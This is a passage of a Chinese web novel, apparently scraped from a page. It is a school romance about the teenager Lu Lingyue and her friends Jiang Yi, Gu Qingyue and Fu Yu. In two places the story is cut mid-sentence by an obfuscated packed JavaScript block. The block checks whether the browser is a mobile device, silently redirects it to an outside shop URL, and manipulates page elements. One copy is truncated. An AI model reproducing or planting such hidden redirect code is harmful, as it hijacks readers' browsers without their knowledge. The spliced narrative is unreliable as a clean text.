这一次,蒋母劈头盖脸骂道:“你一个初中生你不识字吗?来来来,你看我手上拿的瓶子,是不是写了老抽两个大字?我要的是鲜酱油!不是老抽!你怎么又买错了?” 蒋翊被骂了个狗血淋头,低着头一声不吭。 蒋母骂完,心里也有点后悔,怕又把儿子骂回原形。 但骂完的第二天,蒋翊放学回家,她发现,儿子居然没有被骂得萎靡不振,不仅晚饭吃的津津有味,吃完后还对她说:“我同桌说‘我只是犯了一个男人都会犯的错,她爷爷七老八十了,她奶奶让他去菜市场买东西,她爷爷也经常买错‘。” 蒋翊瞟了一眼旁边事不关己在看报纸的蒋父,“妈,你上次不是让爸去买玉米淀粉吗?他还不是买了一袋面粉回来?” 一向性情温和的蒋父听到这话,手里的报纸一抖,脸色微变,从报纸后探出半张脸,压低声音警告儿子:“臭小子,你再说,等会儿你妈连我一起骂。” 蒋翊不听劝:“我同桌还说,‘这叫男人至死是少年’。” 那一晚,蒋家很热闹。 蒋母新仇旧恨一起涌上心头,连带蒋父一起骂了一顿。把半辈子的操劳、小心翼翼和憋屈,都酣畅淋漓地发泄出来。 据说,骂完后,蒋母神清气爽,多年失眠症不治痊愈。 陆泠月听完班主任的转述,拳头握紧。 呜呜呜,真是不是一家人,不进一家门。 她对蒋翊说的那些话,纯粹是觉得好玩,逗逗蒋翊,没想到蒋翊是个嘴上没门把的,什么都和妈妈说。 还有蒋翊妈妈,呜呜呜,您怎么还把我原话一字不落告诉我班主任呢。 我不要面子的吗! 班主任拍了拍陆泠月的肩膀:“蒋翊妈妈说要谢谢你,儿子终于有点像儿子了,而她这个妈妈,也终于像个正常的妈妈了,能骂儿子的感觉太爽了。” 陆泠月听得一愣一愣的,严重怀疑,班主任不是为了让她感化蒋翊,而是为了让她少说话,而给她戴的高帽。 她哪有那么大的本事,她明明大部分时间都在欺负蒋翊啊! 然而,第二天课间,蒋母又来学校。 这次是来找陆泠月的。 面容和善的蒋母将一大袋零食硬塞到陆泠月怀里,顺便摸了摸她的头,声音沙哑:“好孩子,谢谢你,真的谢谢。” 陆泠月接过零食,心里暖烘烘的。 果然世界上大部分的父母,都是深爱着自己的孩子的吧。 看到蒋翊好转,蒋母一定是感动欣慰到彻夜流泪,所以才会把嗓子哭哑了。 多么伟大的母爱啊。 陆泠月抱着一大袋母爱的谢礼回到教室,放到蒋翊桌上,自己象征性地拿走了一包薯片,而后语重心长地对蒋翊说:“你妈妈对你真好,为了你,嗓子都哭哑了。” 蒋翊说:“啊?我妈昨天骂了我一晚上,说我一脸忧郁像林黛玉,后来不知道怎么又扯到某个朝代的皇帝,骂我没有皇帝的命,还非要当皇帝,把自己当个琉璃盏供着。我让她少说一点,歇会儿,嗓子都骂哑了。她说她命苦,憋了半辈子,好不容易能痛快骂儿子了……” 陆泠月:“……” 蒋翊不好意思地摸了摸脑袋。 这三个月,每天跟随顾清樾和傅屿跑步,他已经瘦了整整二十斤,脸上的轮廓清晰了许多,虽然还有些婴儿肥,但已经没有了之前的圆润臃肿感。 “月月,总之谢谢你,阿樾后来告诉我了,你让我陪他们跑步,其实主要是想帮我减肥,让我多动动,别老缩着。” 陆泠月没料到蒋翊会正经道谢,还被他点破当初的小心思,顿时有些不自在,别开脸,耳尖泛起一层薄红:“少来这套,蒋翊。不要强行煽情,来恶心我。鸡皮疙瘩都起来了。” 蒋翊摇了摇头,目光诚恳地注视陆泠月侧过去的半边脸:“真的很谢谢你,因为有你,我才变得更好,因为有你,我才觉得明天那么美好。” 好恶心的话。 陆泠月隔夜饭都要吐出来了,她搓了搓胳膊,嫌弃道:“你这话,和朝我喷屎有什么区别?一样恶心人!” 陆泠月可不觉得自己对蒋翊有那么伟大的作用。 她顶多就是在有人故意嘲笑蒋翊是“死胖子”时,叉着腰把人骂回去。 在蒋翊因为乱买减肥产品导致饭卡空空时,拿顾清樾的饭卡慷慨接济他。 在蒋翊无聊到情绪低落时,强行拉他打游戏,美其名曰“锻炼你的手眼协调和反应能力,为将来成为电竞之星打基础”,实则是想找个比自己还菜且还不会还嘴的队友,好替她分摊来自其他暴躁队友的炮火。 毕竟骂了蒋翊,就很少有人会关注人菜瘾还大的她。 这一招,陆泠月称之为“祸水东引”,效果拔群。 最后一点,就不得不提一下冷酷无情的顾清樾了。 当陆泠月提出要一起打游戏时,顾清樾直截了当问:“怎么,你想让我替你被骂?” 陆泠月怎么可能承认:“当然不是。” 顾清樾扔给她一张数学试卷:“来吧,做题。”末了,还补充一句,“做不完不准玩游戏。 陆泠月:“……” 所以更多时候,陆泠月对蒋翊是“欺负。” 有时候陆泠月零花钱花完了,又不想花顾清樾的钱,她会偷偷把爷爷奶奶买菜找回的钱—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蒋翊的秘密,陆泠月从未对第三个人提起。 包括顾清樾和傅屿。 可蒋翊不放心。 有一次,他郑重地对陆泠月说:“陆泠月,你真的把我当朋友吗?” “当然啊。”陆泠月一边啃薯片,一边肯定回答。 “那朋友应该是互相的。你知道我这么多事情。你也告诉我一个你的秘密吧。一个别人都不知道的秘密。这样才公平。” 陆泠月啃薯片的动作停下,拍了拍手上的碎屑,歪头想了一会儿,“行啊,告诉你一个大秘密。” 蒋翊正襟危坐,洗耳恭听。 “大概九岁的时候吧。我去找傅屿玩,结果傅屿拒绝了我,他说他要和顾清樾去打球。” 陆泠月撇撇嘴,表情愤怒,仿佛当年的气愤又回来了:“我很生气,又是顾清樾,抢走了我的傅屿!还有傅屿,没义气,又被顾清樾拐跑了!” “我那时候可气了,揪了好多桃花枝,乱折一通,然后就气势汹汹地跑去找顾清樾,想警告他以后不许再缠着傅屿,傅屿是我的好朋友,他得和我玩!” “结果跑到顾清樾家,傅屿根本不在。只有顾清樾一个人,他在院子里的躺椅上睡着了。” 陆泠月本来想把顾清樾摇醒骂他一顿的,可在她走进时,看到顾清樾的睡颜,突然就于心不忍了。 顾清樾的眼皮上,靠近眼尾的地方,有一颗极小的、颜色很淡的褐色小痣。 平时他睁着眼睛时,那颗痣就藏在他眼皮褶皱里,谁也看不见。只有当他闭上眼时,它才悄悄显露出来。 顾清樾的睫毛也是真的长啊,密密地覆下来,在眼睑上形成一小弯优美的弧,尾梢还有点细微的卷翘,随着呼吸极轻地颤动,像蝴蝶栖息时收敛的翅尖。 陆泠月那时候,对一切好看的东西,都有一种简单直接的喜爱表达方式——亲一亲。 她亲过有香味的草莓形状橡皮,结果同学说她沾了狗屎的鞋底不小心踩过。 亲过毛茸茸的小鸡,亲完后闻到小鸡身上有不太美妙的鸡屎臭。 亲过花园里开得最大最艳的月季花,亲完后,才发现花瓣背面,有一小坨已经干涸的灰白色鸟屎。 五岁的小孩子都知道吃一堑长一智,唯独九岁的陆泠月不长记性。 而且,睡着的顾清樾身上,只有干净的肥皂清香和阳光晒过的味道,没有狗屎臭,没有小鸡的排泄物气味,更没有鸟屎的痕迹。 他是干净的 所以,当她被顾清樾眼皮上好看的小痣和他好看的的睡颜攫住注意力,忘了自己是来兴师问罪的时候,身体早已先于意识做出行动。 陆泠月屏住呼吸,嘴唇碰了一下顾清樾的眼睛。 纯粹是小孩子看到漂亮东西时,那种干干净净的、不掺杂任何杂念的喜欢,跟喜欢一块没有被屎染指过漂亮的橡皮差不多。 …… “后来。”陆泠月捂住脸,“后来我懂事了,知道不能随便亲人,尤其是男生,一想到我亲过顾清樾的眼睛,我简直后悔死了。” 蒋翊目瞪口呆,嘴巴半天没合上。 这这秘密的分量,远超他的预期! 陆泠月揉了揉脸:“怎么样蒋翊,这个秘密够分量了吧?你绝对不能告诉任何人,尤其是顾清樾,不然我就完了!” 蒋翊咽了口唾沫:“阿樾会让你负责吗?” 陆泠月答:“那倒不至于。但我怕他知道我亲过他,会留下心理阴影,从此对女生过敏,这辈子都不喜欢女生了怎么办?那我的罪过可就大了!” 蒋翊不解:“有这么严重吗?可是阿樾对你很好。” 好到让他这个旁观者都觉得,顾清樾对陆泠月的容忍和关注,早已超出了普通青梅竹马的范畴。 如果不是喜欢,又是什么呢? 陆泠月用力点头:“很严重,你得发誓,不会和顾清樾说。” 蒋翊跟着重重点头,“我发誓,绝对不说,这个秘密,我带进棺材里。” 陆泠月忽然又改口:“其实也不是不能让他知道。” 蒋翊神情激动:“那我现在去告诉他?” 陆泠月白他一眼,“不是现在,如果顾清樾以后有女朋友了,并且他干了一件让我非常非常非常生气的事,我一定会告诉他女朋友,我亲过他,我一定会破坏她们的恋情。” 蒋翊追问:“如果阿樾女朋友是你呢?你会告诉他吗?” 陆泠月不假思索:“没有这个如果,我又不喜欢他,他也不喜欢我。” 蒋翊啧了声:“我说的是‘如果’。” 陆泠月认真思考了下:“还是不会,要是他知道这件事,一定会很自恋,觉得我年纪小小就暗恋他,可那时候我才几岁呀,懂什么喜欢,到时候跳进黄河都洗不清啦。” 蒋翊喃喃自语:“不会的,一定不会的。” 阿樾一定会很开心,他喜欢的女生也喜欢他。 陆泠月没听清,“蒋翊你在说啥?” 蒋翊掩饰性地咳了一声:“我在想阿樾做了什么样的事,会让你生气?” 陆泠月被他问住了,暂时想不到,糊弄了一句,“不告而别吧。” 电视剧不都是这么演么。 最深的伤害,往往来自于亲近之人的无声离去。 但。 陆泠月并没有和蒋翊说实话。 那年,她亲的并不是顾清樾的眼睛。 4. 第四章 夕阳慵懒地沉向天际,将天空晕染成一片温暖的橘红。 陆泠月和蒋翊并肩随人流往外走,两人你一言我一语,激烈讨论晚上要追的动漫新番剧情,争辩哪个角色更厉害。 正说到兴头上,陆泠月余光瞥见一个熟悉的身影,不紧不慢地从教学楼门口出来。 顾清樾单肩背着书包,身形高挑挺拔,在喧闹的人群中自带一种隔绝感。 陆泠月和蒋翊默契地停下脚步,待顾清樾走到面前,陆泠月抱起胳膊。 “我当是谁呢,这不是我们日理万机,一心只读圣贤书的顾大学霸吗?今天太阳是打西边出来了,还是数学竞赛的题海终于把您给吐出来了?竟然舍得离开您高深莫测的数学王国,和我们这些不务正业的凡夫俗子一起步行回家了?” 陆泠月这股阴阳怪气的劲儿,其实大有来由。 前几天,顾清樾都被数学老师留下来开小灶,全力备战即将到来的高一数学竞赛。 虽然竞赛的含金量并非顶尖,但老师希望他能提前感受赛场氛围,积累经验。 陆泠月和蒋翊也十分义气,表示可以等他一起回去,但都被顾清樾拒绝了。 这不得不让陆泠月怀疑,顾清樾留校别有他因。 上周五放学她假装忘带课本折返回教室,实则偷偷溜到竞赛辅导教室的后门,从门缝往里瞧。 顾清樾确实在。 他坐在靠边的位置,侧脸专注,修长的手指握笔,在草稿纸上飞快演算。 可他旁边还坐着一个女生。 教室明明空着大半,那么多位置,他们偏偏挨坐在一起。手臂与手臂之间,恐怕连一张纸的距离都没有。 女生是短发,皮肤很白,鼻梁上架着一副细细的银边眼镜。 她的手指点了点顾清樾摊开的习题册,顾清樾便也顺着她指尖的方向倾身过去。 从陆泠月的角度看去,两人靠得极近,近到陆泠月觉得顾清樾呼吸时轻微的气流能拂动女生的发丝。 ?! 男女有别懂不懂啊? 你们要不接个吻得了。 难怪顾清樾这几天宁可抛弃她和蒋翊,也要留下来。 哪里是题目有多难,哪里是气氛需要提前感受,原来是有和他思维同频的女生在这里。 原来顾清樾喜欢的是这一种类型。 陆泠月说不清心里闷闷的、酸酸的感觉是什么,只觉得顾清樾那张没什么表情的侧脸,在那一刻看起来格外讨厌。 她悄悄退开,一路跑出教学楼,心里的憋闷,就化成了此刻见面时加倍汹涌的阴阳怪气。 其实,如果当时陆泠月再晚走三秒,恐怕就能听到“女生”粗重雄厚的嗓音,绝非是一个女生会有的。 …… 顾清樾淡淡地瞥了陆泠月一眼,薄唇微启,回敬的话语和他的人一样,带着点清冷的质感:“嗯,偶尔也需要下凡体察一下民情,顺便看看,某些人是不是又趁我不在,在我背后编排什么坏话。” 说你胖你还真喘上了。 陆泠月被顾清樾顺杆爬的回应噎了一下,像是蓄力一拳打在了棉花上,无处着力。 她没好气地“切”了一声,别过脸去,看向路旁开始泛黄的梧桐树,心里暗骂顾清樾重色轻友。 一阵微风拂过,道旁的行道树窸窣作响,一片半黄不绿的梧桐叶打着优雅的旋儿,飘飘悠悠,不偏不倚,正好落在陆泠月乌黑柔亮的发顶上,像为她别上了一个小小的勋章。 顾清樾看见,自然抬手将叶子从她发间取下。 他的动作很快,指尖也只是轻轻擦过陆泠月的发丝。 然而陆泠月的反应像被触动了奇怪的开关,条件反射抬起手,打在顾清樾的手背上,虽然不重,但声音很清脆。 “顾清樾,你碰我头发干什么?” 顾清樾的手顿在半空,指间捏起梧桐叶,将其展示到陆泠月眼前:“有叶子。” 他停顿了会,看到陆泠月薄怒的脸,问:“你今天吃火药了?” 蒋翊上前一步打圆场:“今天不知道怎么回事,月月午睡的时候被人摸了头,醒来头发都乱了,正为这事儿郁闷呢,现在都有点草木皆兵了。” 听完他的解释,顾清樾淡定道:“哦。” 蒋翊用手肘捅了捅顾清樾的手肘,“哎我说,该不会是你上厕所路过我们班,顺手干的吧?” 顾清樾还没开口,陆泠月就抢先回答,用斩钉截铁的语气否定蒋翊的猜测。 “怎么可能,他才不会干这种事,他只会嫌弃我头发油,说我几天没洗头了。洁癖,事儿精!” 陆泠月昨天刚洗过头,发丝清爽蓬松,还带着淡淡的桃子香波味道。 但她有意想恶心顾清樾,于是故意歪曲事实:“顾清樾,我好心提醒你一下哦,你刚才那几根金贵的手指,可是结结实实碰到了我的头发。而我呢,可是整整一个星期都没洗头了,油光可鉴,说不定还能炒盘菜呢!恭喜你,你的手指可能要烂掉了哦,建议你回去用酒精消毒三遍!” 顾清樾闻言,另一只手从容地从书包侧袋拿出一包独立包装的湿巾,慢条斯理地撕开,用湿纸巾仔细擦拭刚才捏过叶子的几根手指。 陆泠月看到他一系列行云流水的清洁动作,胸腔里有一股无名火。 不是吧?顾清樾就这么嫌弃她? 哪怕指尖只是轻微地擦过她的头发,哪怕明知道她刚才的话十有八九是假的,他也要做出这副姿态? 虽然是她先挑衅,故意歪曲事实想恶心他在先,但顾清樾这反应,也未免太过分了吧! 陆泠月脸颊鼓起,愤怒地转向蒋翊:“蒋翊我告诉你,除了你和顾清樾,今天起码有四个人摸了我的头,等我找到其他四个人,我一定要一个个摸回去,此仇不报非君子!” 她话音刚落,就听见顾清樾问:“四个人?” 顾清樾擦拭的动作已经完成,将用过的湿巾扔进前方的垃圾桶,又折返回来。 陆泠月呛了一句,“对啊,如果我的感觉没出错的话,就是被摸了四下。怎么了,我们顾大学霸对此有什么高见?” 顾清樾不语。 陆泠月误会了,心情更不爽,“顾清樾,你至于吗,不就是不小心碰了一下我的头发吗,你有这么嫌弃我吗?” 顾清樾无奈解释:“不是因为你。” 是因为叶子上面有虫子。 蒋翊见气氛有点僵,咳嗽一声,生硬地转移话题:“那个哎,也不知道阿屿现在怎么样了?集训连手机都不能碰,这都一星期了,一点消息都没有。” 傅屿是体育特长生,主攻篮球,初中就因为出色的球感和身体素质在校队崭露头角。 他身高腿长,弹跳力好,运球突破极具观赏性,是教练重点培养的对象。每年九月初,篮球队都会进行为期两周左右的封闭式集训,为接下来的市级、省级比赛做准备。 军训一结束,傅屿就直接去了城郊的训练基地,那里管理严格,明令禁止携带和使用手机,与外界隔绝。 提到傅屿,陆泠月的注意力果然被转移了,情绪肉眼可见地低落下来。 她踢了踢路边一颗无辜的小石子,声音闷闷的:“是啊,两星期没见他了,有点想他。” 石子咕噜噜滚进路边的草丛,陆泠月的声音也带上迷茫和怅惘,轻声呢喃道:“最近事事不顺,见不到傅屿,我还喜欢上了一朵玫瑰。” 蒋翊的思维是笔直的线性思维,没把傅屿和玫瑰这两件风马牛不相及的事情联系起来。 他想当然地接话,“嗨,想他干嘛,阿屿壮实得跟头小牛犊似的,在基地好吃好喝训练着,说不定还乐不思蜀呢。玫瑰是吧?简单,包在我身上,明天,不,等会儿路过花店,我就给你买一束,保证最新鲜最漂亮,红玫瑰、白玫瑰、香槟玫瑰,什么颜色随你挑,管够!” 与蒋翊的粗线条不同,站在一旁的顾清樾,在听到陆泠月的低语时,脚步几不可察地顿了一下。 他了解陆泠月。 陆泠月有个独特浪漫的习惯,她喜欢用各种花卉来比喻身边的人,赋予每个人一种独特的植物属性。 比如,她说傅屿是妖艳漂亮的桃花。 因为傅屿生了一双标准的桃花眼,眼型长,眼尾微翘,睫毛浓密卷翘,看人时哪怕不带情绪也深情款款。 精致的五官组合在他的脸上,呈现出一种冲击力的漂亮,但因为他常年运动塑造出的挺拔身形和眉宇间挥之不去的洒脱英气,使得这种漂亮丝毫不显女气,反而融合成一种耀眼的气质。 陆泠月曾说过,她最喜欢的花就是桃花,原因简单粗暴,因为她爱吃桃子。能结出如此美味果实的花,必然是世间最可爱的花。 而第二喜欢的就是玫瑰,理由是——玫瑰多好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185634|197018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,热烈又骄傲,没有哪个女孩子会不爱玫瑰吧? 所以,当陆泠月用迷茫和怅惘的语气说出“喜欢上一朵玫瑰”时,顾清樾立刻明白了她的意思。 这绝不是字面意义上喜欢某种植物。 而是在说,她注意到一个人。 一个在她心中如同玫瑰般存在的人,一个能让她写进日记本的人,一个让她伤心的人。 陆泠月对蒋翊的直男发言哭笑不得:“不是真的花啦,玫瑰是代指,是个人啊,一个很特别的人。” “所以这就是你最近不开心的原因?”顾清樾问。 声线很稳,听不出什么情绪。 但陆泠月凭借多年和顾清樾相处的经验,莫名能感觉到周遭的空气凝滞,一种低气压正以他为中心逐渐弥漫。 顾清樾在生气。 陆泠月能肯定这一点。 为什么?是因为竞赛压力太大了吗?还是觉得他们讨论这些无聊的话题浪费了他宝贵的时间? 也是,顾清樾这种早已脱离低级趣味、不食人间烟火的谪仙,和她这样的凡夫俗子本就是截然不同的存在。 陆泠月每天都在绞尽脑汁,思索如何能更舒服地躺平,同时又能在学海的惊涛骇浪里不至于彻底沉没,为此她乐于钻研各种考前临时抱佛脚的邪门歪道,并视之为一种生活智慧。 而顾清樾的世界呢? 恐怕是秩序井然、目标明确的另一番景象。 他思考的,或许是该如何在他已然登顶的学业巅峰上,再精雕细琢,建立起一座让后来者望尘莫及的丰碑。 他们的烦恼,他们的快乐,他们眼中世界的模样,不在一个维度上。 陆泠月的世界是喧闹的,色彩斑斓的,充满烟火气的。 她会因为中午食堂阿姨手一抖多给了一勺油亮亮的红烧肉而开心雀跃,忍不住跟蒋翊炫耀半天。 也会因为一场不期而至的暴雨打湿了她攒了好久零花钱才买到的心爱帆布鞋,而懊恼沮丧一整个下午,连晚饭都吃得没滋没味。 她的情绪像夏日的雷阵雨,来得迅猛热烈,挟风带雨,轰轰烈烈,去得也干脆利落,所有的喜怒哀乐都明明白白地摊在脸上,暴露在阳光下,一览无余。 可顾清樾不一样。 他自带一个恒温密闭的系统。 他的情绪被严密封存在一个旁人无法触及也根本看不透的深海之下,平静的表象下是无人能窥探的暗流与沟壑。鲜少有事能真正扰动那片深海,让他脸上出现明显的情绪裂痕,无论是喜悦还是愤怒。 正因如此,此刻切实可感的低气压,才让陆泠月感到不解。 陆泠月在心底无声地叹了口气。 凡人的烦恼,大概是该如何在这波涛汹涌,泥沙俱下的俗世之海里,寻得一叶安稳的扁舟;而仙人的烦恼,恐怕是为何他精心构建的完美无瑕的天国,会凭空出现一缕扰乱秩序的微风。 可这微风,会是从哪儿吹来的呢? 陆泠月想不通,也懒得再去揣测仙人心思。 她老老实实回答顾清樾问话:“对啊,这就是我最近最烦心的事。而且,已经被明确拒绝三次了呢,够失败了吧。” 话一出口,陆泠月猛地想起什么,心头警铃大作,声音戛然而止,直勾勾地看向顾清樾:“喂顾清樾,你不会要开始嫌弃我没用,说我脑子里整天只装这些乱七八糟的东西了吧?” 预想中的毒舌并没有到来。 顾清樾沉默不语,侧脸在夕阳下拉出利落的线条。 陆泠月有些害怕。 就在她以为顾清樾不会回答,自认没趣转回头,继续跟蒋翊扯些无关痛痒的话题时,却听到他问,“那傅屿呢?” 陆泠月茫然地看向顾清樾,不明白他为什么提起傅屿。 “傅屿怎么了?他集训呢。” 顾清樾垂下眼帘,遮住眸中翻涌的情绪,轻轻摇了摇头,淡声道:“没什么。” 他越是这样,陆泠月越是觉得不对劲,秀气的眉头蹙了起来,紧紧盯着他。 顾清樾的薄唇又动了动,像是经过一番挣扎才决定问:“有傅屿还不够吗?” 陆泠月困惑:“顾清樾你什么意思啊?” 顾清樾目光深沉:“你想要特别的朋友关系,傅屿难道不能满足你吗?他能陪着你,照顾你,事事以你为先,傅屿是一个很可靠的人。” 5. 第五章 陆泠月听得一头雾水,大脑一时无法处理顾清樾突兀和奇怪的信息。 “傅屿给不了啊,我总不能拉着傅屿聊例假什么时候来、哪个牌子的卫生巾好用吧,或者偷偷讨论隔壁班女生的小八卦吧?这根本就不是一回事。” 陆泠月越说越觉得顾清樾的逻辑匪夷所思,“顾清樾,你今天真的好奇怪,说话云里雾里的。要不你还是像平时一样怼我几句吧,你现在这样,让我心里发毛,瘆得慌。” 陆泠月脸上毫不作伪的茫然尽收顾清樾眼底。 顾清樾放弃这歌他自己都未必清楚是否有意义的问题。 他移开视线,再次望向远处暗淡的天际线,喉结滚动,“白痴。” 陆泠月这人,就是叶公好龙的典型代表。 嘴上嚷着让顾清樾“正常点”、“怼几句”,可真被怼,她又不开心。 “喂,让你怼你还真的怼啊?一点幽默感都没有,开不起玩笑!” 冲当背景板的蒋翊弱弱地举起手:“那个我插句话哈。月月,你为什么用玫瑰来形容那个人啊?有什么讲究吗?” “因为我喜欢用花来形容人啊,每种花代表的感觉不一样,每个人也不一样。” 蒋翊恍然大悟,追问道:“那阿樾和阿屿,他们各是什么花?” 提到傅屿,陆泠月眼神一柔,不假思索:“阿屿是桃花。” 自打陆泠月有记忆起,身边就充满傅屿的身影和桃花的印记。 爷爷奶奶家的老屋后面,种着一片不小的桃林。 每年春天,温暖的东风吹醒大地,桃林便迎来了最绚烂的时刻。成千上万的桃花竞相绽放,云蒸霞蔚,远远望去,如同一片粉色的烟霞。 微风拂过,落英缤纷,粉嫩的花瓣如同蝴蝶般翩翩起舞,美得如同与世隔绝的仙境。 那里,是她和傅屿不容外人踏足的秘密基地,承载了他们童年时代无数无忧无虑的时光。 他们在虬枝盘错的桃树下,玩过无数遍王子公主的过家家游戏。 傅屿会披着不知从哪里找来的旧床单当作威风凛凛的披风,手里攥着一根形状奇特的树枝当作宝剑,化身忠诚勇敢的骑士。 陆泠月则将最新鲜、最娇艳的桃花编成花环戴在头上,自称是住在桃林深处的桃花仙子。 傅屿唯一的使命,就是守护他的小公主,赶跑一切想象中的妖魔鬼怪,哪怕对手只是一阵风和一只路过的甲虫。 年复一年,桃树和他们一起长高,枝叶愈发繁茂葱茏。 到了盛夏,便是桃子成熟的季节,空气中飘荡果实清甜的香气,勾得人馋涎欲滴。 低处触手可及的果子,早就被眼尖手快的陆泠月摘光了,只剩下高处阳光最充足的地方,那些在绿叶掩映下泛饱满诱人红晕的漏网之鱼。 陆泠月嘴馋,又会耍赖皮,自己蹦跳也够不着,就会像只灵活又耍赖的小猴子,跳到傅屿的背上,紧紧搂住他的脖子,把全身重量都挂上去,然后指挥这架比她高出一个头还不止的“人力升降梯”。 “哥哥,往左边一点!不对,再过去一点点!再高一点!对,对,就是那个,那个最红的!快帮我摘下来!” 傅屿嘴上会嫌弃地抱怨“陆泠月你真重,快把我压垮了”,但手臂总是稳稳地托着她,还会避开可能会划伤她的枝条,直到帮她够到最甜、最红的桃子。 那段时光,桃花是美丽的背景,是有趣的玩具,是解馋的零嘴,更是她和傅屿之间无人能及的亲密纽带。 傅屿,就是陆泠月童年里,最灿烂、最温暖、最让她依赖的那株桃花。 可惜,后来顾清樾出现了。 新搬来的小孩,聪明、安静,身上有种与其他孩子截然不同的气质,像一块突然出现的磁石,轻易就吸引了傅屿大部分的目光和注意力。 王子公主的过家家游戏,渐渐被篮球场上奔跑跳跃的身影取代;桃树下总会等待她,陪她编花环,给她摘桃子的身影,出现得越来越少。 傅屿的口头禅,也从“月月,我们今天玩什么”,变成了“月月,我和阿樾约好了去打球”。 她的专属骑士,有了新的、更感兴趣的战场。 …… 蒋翊的声音将陆泠月从回忆里拉回:“桃花?为啥阿屿是桃花?那阿樾呢?阿樾是什么花?” 陆泠月脑海中浮现出第一次和顾清樾见面的场景。 那个让她至今回想起来,尴尬到脚趾能当场抠出一座魔仙堡的初遇场景。 关于顾清樾是什么花,这个问题的答案,显然关联着一段陆泠月非常不想回忆的黑历史。 那一天,堪称陆泠月个人屈辱史的开端,是她无数次午夜梦回都想乘坐时光机回去强行抹掉的案发现场。 记忆里的那个傍晚,夕阳如同被打翻的蜂蜜罐,浓稠而温润的金色蜜液肆意流淌,将整条静谧的小巷染成一片暖融融的橘黄。 空气里弥漫着从家家户户厨房窗户飘散出来的饭香,夹杂着夏日草木蒸腾出的独特气味。 就在这片温馨慵懒的暮色里,少年一身素净的白衣,身形挺拔,如初春时节刚刚抽芽的新竹,安静地立在夕阳铺洒的门廊下。 他身上不染一丝尘埃,干净、清冷,像是由最上等的羊脂白玉精雕细琢而成,眉眼间带着一种与周遭烟火气格格不入的疏离感,又像是从某幅意境深远、笔触淡雅的水墨画里不慎走入凡尘的一笔留白,周身萦绕着一种易碎的美感。 而当时的陆泠月,完全沉浸在情节狗血的悲情剧情里,哭得忘乎所以。 她为剧中命运多舛、受尽委屈的女主角的遭遇揪心不已,眼泪鼻涕糊了一脸,根本没注意到家里来了陌生的客人,更没料到,自己人生中最大的社死瞬间即将以如此惨烈的方式降临。 电视屏幕上,恶毒的女配角面目狰狞地举起凶器,眼看就要对女主角的父亲下毒手。 陆泠月完全代入了剧情,情急之下,她“扑通”一声,结结实实地跪在了电视机前冰凉的地板上,双手扒着电视柜边缘,声泪俱下,痛哭流涕,真情实感地对着屏幕里的反派哀求:“呜呜呜,求求你了,不要杀人,你是坏人,坏人是不会有好下场的,你不要害女主的爸爸……” 就在陆泠月哭得肝肠寸断,整个世界只剩下剧中人物悲欢离合的时刻,泪眼朦胧中,她猝不及防地对上了一双眼睛。 一双剔透得如同浸在清泉里的浅色眼眸。 八岁的顾清樾,站在她家门口。 他沉默地望着陆泠月。 望着跪在地上,头发凌乱,眼泪鼻涕糊成一团,毫无形象可言的陆泠月。 四目相对,空气凝固。 陆泠月在顾清樾过分干净清澈的眼睛里,清晰地捕捉到未来得及掩饰的嫌弃。 李英平见状,赶紧上前把孙女拉起来,拍拍她裤子上的灰,又是好笑又是尴尬:“哎哟我的小祖宗,你怎么又跪地上了,快起来。” 陆泠月指着电视,抽噎不停:“奶奶,那个恶毒女二好坏,她要偷偷杀了女主的爸爸,再嫁祸给男主,太坏了……” 李英平不好意思地对顾清樾笑:“不好意思啊小顾,让你见笑了,我家月月看剧看傻了,入戏太深。来,月月,奶奶给你介绍一下,这是你齐阿姨的外甥,叫顾清樾,以后你们就是同学了,他比你还要小呢,你要叫弟弟。” 彼时八岁的顾清樾,已经长得非常好看,皮肤白皙,五官精致,像橱窗里的洋娃娃,比陆泠月见过的所有同龄小男孩都要俊秀标致。 只是他的脸色有些过于苍白,身形也异常清瘦单薄,给人一种易碎感。 陆泠月童言无忌,扯了扯奶奶的衣角,用自以为很小声,但其实在场人都能听到的音量好奇地问道:“奶奶,他是不是被人虐待了没饭吃啊?怎么这么瘦?” 李英平吓得赶紧捂住陆泠月的嘴,低声呵斥:“别瞎说,这孩子!” 陆泠月自知失言,有点不好意思地吐了吐舌头,又觉得脸上黏糊糊的难受,便用手背胡乱地抹了一把脸,擦掉纵横交错的眼泪和鼻涕。 然而这一抹,无疑让她原本就精彩纷呈的小花脸更加“锦上添花”,几道黑灰混着泪痕,滑稽又可怜。 奶奶说她是姐姐。 陆泠月想表现姐姐的风范和友好,挽回一下刚才糟糕的第一印象,于是走到顾清樾面前,伸出沾满鼻涕眼泪和灰尘的手,带着鼻音说:“你好,我叫陆泠月,你可以叫我月月……” 就在她凑近顾清樾的那一刻,一股清幽冷冽的花香,若有若无地飘入了她的鼻尖。 那香气很特别,不甜不腻,似有还无,陆泠月一时分不清是从顾清樾身上飘来的,还是从窗外随风送入。 顾清樾凝视陆泠月哭得红扑扑,还挂着泪痕的小花脸,用冷质的童音陈述了一句:“你哭得像只小花猫。” 他只是描述,觉得有点怪可爱的。 但在敏感又刚刚社死的陆泠月耳中,这就是赤裸裸的嫌弃。 她“哼”了一声,躲回奶奶身后,探出半个脑袋,气鼓鼓地宣布:“我不要和他做朋友!” 之后的日子里,陆泠月经常在家里闻到独特的花香,是她以前从未留意过的,但她不知道来源。 直到有一天,陆泠月在爷爷打理的小花园一角,看到一株新移栽的植物,绿叶间开着几朵洁白无瑕的花朵,花瓣肥厚饱满,形态优雅,散发着浓郁纯粹的香气,在夏日的阳光下,清新夺目。 陆泠月好奇地跑过去问正在浇花的李英平:“奶奶,这是什么花呀?好香,以前好像没见过。” 